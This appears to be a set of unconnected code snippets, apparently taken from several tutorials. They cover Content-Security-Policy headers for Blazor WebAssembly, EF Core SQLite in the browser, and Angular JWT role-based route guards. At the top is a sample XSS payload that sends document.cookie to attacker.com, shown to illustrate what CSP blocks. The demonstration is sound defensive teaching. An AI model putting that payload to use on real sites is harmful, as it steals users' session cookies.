No Authentication

 Content-Security-Policy: default-src 'self'

<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>

Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword,
a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='),
or a nonce ('nonce-...') is required to enable inline execution.

Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='

<ItemGroup>
   <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" />
</ItemGroup>

public static class SecurityHeadersBuilder
{
    public static HeaderPolicyCollection GetCsp(bool isDevelopment)
    {
        var policy = new HeaderPolicyCollection()
                     .AddFrameOptionsDeny()
                     .AddXssProtectionBlock()
                     .AddContentTypeOptionsNoSniff()
                     .AddReferrerPolicyStrictOriginWhenCrossOrigin()
                     .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin())
                     .AddCrossOriginResourcePolicy(builder => builder.SameOrigin())
                     .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp())
                     .AddContentSecurityPolicy(builder =>
                                               {
                                                   builder.AddBaseUri().Self();
                                                   builder.AddDefaultSrc().Self().From("blob:");
                                                   builder.AddObjectSrc().Self().From("blob:");
                                                   builder.AddBlockAllMixedContent();
                                                   builder.AddImgSrc().Self().From("data:").From("blob:").From("https:");
                                                   builder.AddFontSrc().Self();
                                                   builder.AddStyleSrc().Self();
                                                   builder.AddFrameAncestors().None();
                                                   builder.AddConnectSrc().Self();
                                                   builder.AddMediaSrc().Self();

                                                   builder.AddScriptSrc().Self()
                                                          // Specify any additional hashes to permit your required `non-framework` scripts to load.
                                                          .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=")
                                                          // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function.
                                                          .UnsafeEval();

                                                   //TODO: Add api/CspReport/Log action method ...
                                                   // https://www.dntips.ir/post/2706
                                                   builder.AddReportUri().To("/api/CspReport/Log");

                                                   builder.AddUpgradeInsecureRequests();
                                               })
                     .RemoveServerHeader()
                     .AddPermissionsPolicy(builder =>
                                           {
                                               builder.AddAccelerometer().None();
                                               builder.AddAutoplay().None();
                                               builder.AddCamera().None();
                                               builder.AddEncryptedMedia().None();
                                               builder.AddFullscreen().All();
                                               builder.AddGeolocation().None();
                                               builder.AddGyroscope().None();
                                               builder.AddMagnetometer().None();
                                               builder.AddMicrophone().None();
                                               builder.AddMidi().None();
                                               builder.AddPayment().None();
                                               builder.AddPictureInPicture().None();
                                               builder.AddSyncXHR().None();
                                               builder.AddUsb().None();
                                           });

        if (!isDevelopment)
        {
            // maxAge = one year in seconds
            policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains();
        }

        policy.ApplyDocumentHeadersToAllResponses();
        return policy;
    }
}

var app = builder.Build();

// ...

var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment());
app.UseSecurityHeaders(headerPolicyCollection);

app.UseHttpsRedirection();

// ...

Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests
Cross-Origin-Embedder-Policy:require-corp
Cross-Origin-Opener-Policy:same-origin
Cross-Origin-Resource-Policy:same-origin
Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=()
Referrer-Policy:strict-origin-when-cross-origin
X-Content-Type-Options:nosniff
X-Frame-Options:DENY
X-Xss-Protection:1; mode=block

namespace BlazorWasmSQLite.Models;

public class Car
{
  public int Id { get; set; }

  public string Brand { get; set; }

  public  int Price { get; set; }
}

using Microsoft.EntityFrameworkCore;
using BlazorWasmSQLite.Models;

namespace BlazorWasmSQLite.Data;

public class ClientSideDbContext : DbContext
{
  public DbSet<Car> Cars { get; set; } = default!;

  public ClientSideDbContext(DbContextOptions<ClientSideDbContext> options) :
    base(options)
  {
  }
}

<Project Sdk="Microsoft.NET.Sdk.BlazorWebAssembly">
  <ItemGroup>
    <!-- EF Core and Sqlite -->
    <PackageReference Include="Microsoft.EntityFrameworkCore.Sqlite" Version="6.0.1" />
  </ItemGroup>
</Project>

using Microsoft.AspNetCore.Components.Web;
using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
using BlazorWasmSQLite;
using Microsoft.EntityFrameworkCore;
using BlazorWasmSQLite.Data;

var builder = WebAssemblyHostBuilder.CreateDefault(args);
builder.RootComponents.Add<App>("#app");
builder.RootComponents.Add<HeadOutlet>("head::after");

builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });

// Sets up EF Core with Sqlite
builder.Services.AddDbContextFactory<ClientSideDbContext>(options =>
      options
        .UseSqlite($"Filename=DemoData.db")
        .EnableSensitiveDataLogging());

await builder.Build().RunAsync();

@page "/"

@using Microsoft.Data.Sqlite
@using Microsoft.EntityFrameworkCore
@using BlazorWasmSQLite.Data
@using BlazorWasmSQLite.Models


<PageTitle>Index</PageTitle>

<h1>Hello, world!</h1>

Welcome to your new app.

<SurveyPrompt Title="How is Blazor working for you?" />

@code {
  [Inject]
  private IDbContextFactory<ClientSideDbContext> _dbContextFactory { get; set; } = default!;

  protected override async Task OnInitializedAsync()
  {
    await using var db = await _dbContextFactory.CreateDbContextAsync();
    await db.Database.EnsureCreatedAsync();

    // create seed data
    if (!db.Cars.Any())
    {
      var cars = new[]
      {
        new Car { Brand = "Audi", Price = 21000 },
        new Car { Brand = "Volvo", Price = 11000 },
        new Car { Brand = "Range Rover", Price = 135000 },
        new Car { Brand = "Ford", Price = 8995 }
      };

      await db.Cars.AddRangeAsync(cars);
      await db.SaveChangesAsync();
    }

    await base.OnInitializedAsync();
  }
}

crit: Microsoft.AspNetCore.Components.WebAssembly.Rendering.WebAssemblyRenderer[100] Unhandled exception rendering component:
The type initializer for 'Microsoft.Data.Sqlite.SqliteConnection' threw an exception. System.TypeInitializationException:
The type initializer for 'Microsoft.Data.Sqlite.SqliteConnection' threw an exception. ---> System.Reflection.TargetInvocationException:
Exception has been thrown by the target of an invocation. ---> System.DllNotFoundException: e_sqlite3 at
SQLitePCL.SQLite3Provider_e_sqlite3.SQLitePCL.ISQLite3Provider.sqlite3_libversion_number()

$ git clone https://github.com/cloudmeter/sqlite
$ cd sqlite
$ emcc sqlite3.c -shared -o e_sqlite3.o

<Project Sdk="Microsoft.NET.Sdk.BlazorWebAssembly">
  <ItemGroup>
    <!-- EF Core and Sqlite -->
    <PackageReference Include="Microsoft.EntityFrameworkCore.Sqlite" Version="6.0.1" />
    <NativeFileReference Include="Data\e_sqlite3.o" />
  </ItemGroup>
</Project>

public IActionResult Get()
{ 
    var user = this.User.Identity as ClaimsIdentity; 
    var config = new 
    { 
        userName = user.Name, 
        roles = user.Claims.Where(x => x.Type == ClaimTypes.Role).Select(x => x.Value).ToList() 
    }; 
    return Ok(config); 
}

{
  "jti": "d1272eb5-1061-45bd-9209-3ccbc6ddcf0a",
  "iss": "http://localhost/",
  "iat": 1513070340,
  "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
  "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name": "Vahid",
  "DisplayName": "وحید",
  "http://schemas.microsoft.com/ws/2008/06/identity/claims/serialnumber": "709b64868a1d4d108ee58369f5c3c1f3",
  "http://schemas.microsoft.com/ws/2008/06/identity/claims/userdata": "1",
  "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
    "Admin",
    "User"
  ],
  "nbf": 1513070340,
  "exp": 1513070460,
  "aud": "Any"
}

export interface AuthUser {
  userId: string;
  userName: string;
  displayName: string;
  roles: string[];
}

  getAuthUser(): AuthUser {
    if (!this.isLoggedIn()) {
      return null;
    }

    const decodedToken = this.getDecodedAccessToken();
    let roles = decodedToken["http://schemas.microsoft.com/ws/2008/06/identity/claims/role"];
    if (roles) {
      roles = roles.map(role => role.toLowerCase());
    }
    return Object.freeze({
      userId: decodedToken["http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier"],
      userName: decodedToken["http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name"],
      displayName: decodedToken["DisplayName"],
      roles: roles
    });
  }

import { ProtectedPageComponent } from "./protected-page/protected-page.component";
import { AuthGuardPermission } from "../core/models/auth-guard-permission";

const routes: Routes = [
  {
    path: "protectedPage",
    component: ProtectedPageComponent,
    data: {
      permission: {
        permittedRoles: ["Admin"],
        deniedRoles: null
      } as AuthGuardPermission
    }
  }
];

export interface AuthGuardPermission {
  permittedRoles?: string[];
  deniedRoles?: string[];
}

>ng g c Authentication/AccessDenied

 AccessDenied
  create src/app/Authentication/access-denied/access-denied.component.html (32 bytes)
  create src/app/Authentication/access-denied/access-denied.component.ts (296 bytes)
  create src/app/Authentication/access-denied/access-denied.component.css (0 bytes)
  update src/app/Authentication/authentication.module.ts (550 bytes)

import { LoginComponent } from "./login/login.component";
import { AccessDeniedComponent } from "./access-denied/access-denied.component";

const routes: Routes = [
  { path: "login", component: LoginComponent },
  { path: "accessDenied", component: AccessDeniedComponent }
];

<h1 class="text-danger">
  <span class="glyphicon glyphicon-ban-circle"></span> Access Denied
</h1>
<p>Sorry! You don't have access to this page.</p>
<button class="btn btn-default" (click)="goBack()">
  <span class="glyphicon glyphicon-arrow-left"></span> Back
</button>

<button *ngIf="!isAuthenticated" class="btn btn-success" [routerLink]="['/login']"
  queryParamsHandling="merge">
  Login
</button>

import { Component, OnInit } from "@angular/core";
import { Location } from "@angular/common";

import { AuthService } from "../../core/services/auth.service";

@Component({
  selector: "app-access-denied",
  templateUrl: "./access-denied.component.html",
  styleUrls: ["./access-denied.component.css"]
})
export class AccessDeniedComponent implements OnInit {

  isAuthenticated = false;

  constructor(
    private location: Location,
    private authService: AuthService
  ) {
  }

  ngOnInit() {
    this.isAuthenticated = this.authService.isLoggedIn();
  }

  goBack() {
    this.location.back(); // <-- go back to previous location on cancel
  }
}

  isAuthUserInRoles(requiredRoles: string[]): boolean {
    const user = this.getAuthUser();
    if (!user || !user.roles) {
      return false;
    }
    return requiredRoles.some(requiredRole => user.roles.indexOf(requiredRole.toLowerCase()) >= 0);
  }

  isAuthUserInRole(requiredRole: string): boolean {
    return this.isAuthUserInRoles([requiredRole]);
  }

import { Injectable } from "@angular/core";
import { CanActivate, Router, ActivatedRouteSnapshot, RouterStateSnapshot } from "@angular/router";

import { AuthService } from "./auth.service";
import { AuthGuardPermission } from "../models/auth-guard-permission";

@Injectable()
export class AuthGuard implements CanActivate {
  constructor(private authService: AuthService, private router: Router) { }

  canActivate(route: ActivatedRouteSnapshot, state: RouterStateSnapshot) {

    if (!this.authService.isLoggedIn()) {
      this.showAccessDenied(state);
      return false;
    }

    const permissionData = route.data["permission"] as AuthGuardPermission;
    if (!permissionData) {
      return true;
    }

    if (Array.isArray(permissionData.deniedRoles) && Array.isArray(permissionData.permittedRoles)) {
      throw new Error("Don't set both 'deniedRoles' and 'permittedRoles' in route data.");
    }

    if (Array.isArray(permissionData.permittedRoles)) {
      const isInRole = this.authService.isAuthUserInRoles(permissionData.permittedRoles);
      if (isInRole) {
        return true;
      }

      this.showAccessDenied(state);
      return false;
    }

    if (Array.isArray(permissionData.deniedRoles)) {
      const isInRole = this.authService.isAuthUserInRoles(permissionData.deniedRoles);
      if (!isInRole) {
        return true;
      }

      this.showAccessDenied(state);
      return false;
    }
  }

  private showAccessDenied(state: RouterStateSnapshot) {
    this.router.navigate(["/accessDenied"], { queryParams: { returnUrl: state.url } });
  }
}

 this.returnUrl = this.route.snapshot.queryParams["returnUrl"];

if (this.returnUrl) {
   this.router.navigate([this.returnUrl]);
} else {
   this.router.navigate(["/protectedPage"]);
}

import { AuthGuard } from "./services/auth.guard";

@NgModule({
  providers: [
    AuthGuard
  ]
})
export class CoreModule {}

import { ProtectedPageComponent } from "./protected-page/protected-page.component";
import { AuthGuardPermission } from "../core/models/auth-guard-permission";
import { AuthGuard } from "../core/services/auth.guard";

const routes: Routes = [
  {
    path: "protectedPage",
    component: ProtectedPageComponent,
    data: {
      permission: {
        permittedRoles: ["Admin"],
        deniedRoles: null
      } as AuthGuardPermission
    },
    canActivate: [AuthGuard]
  }
];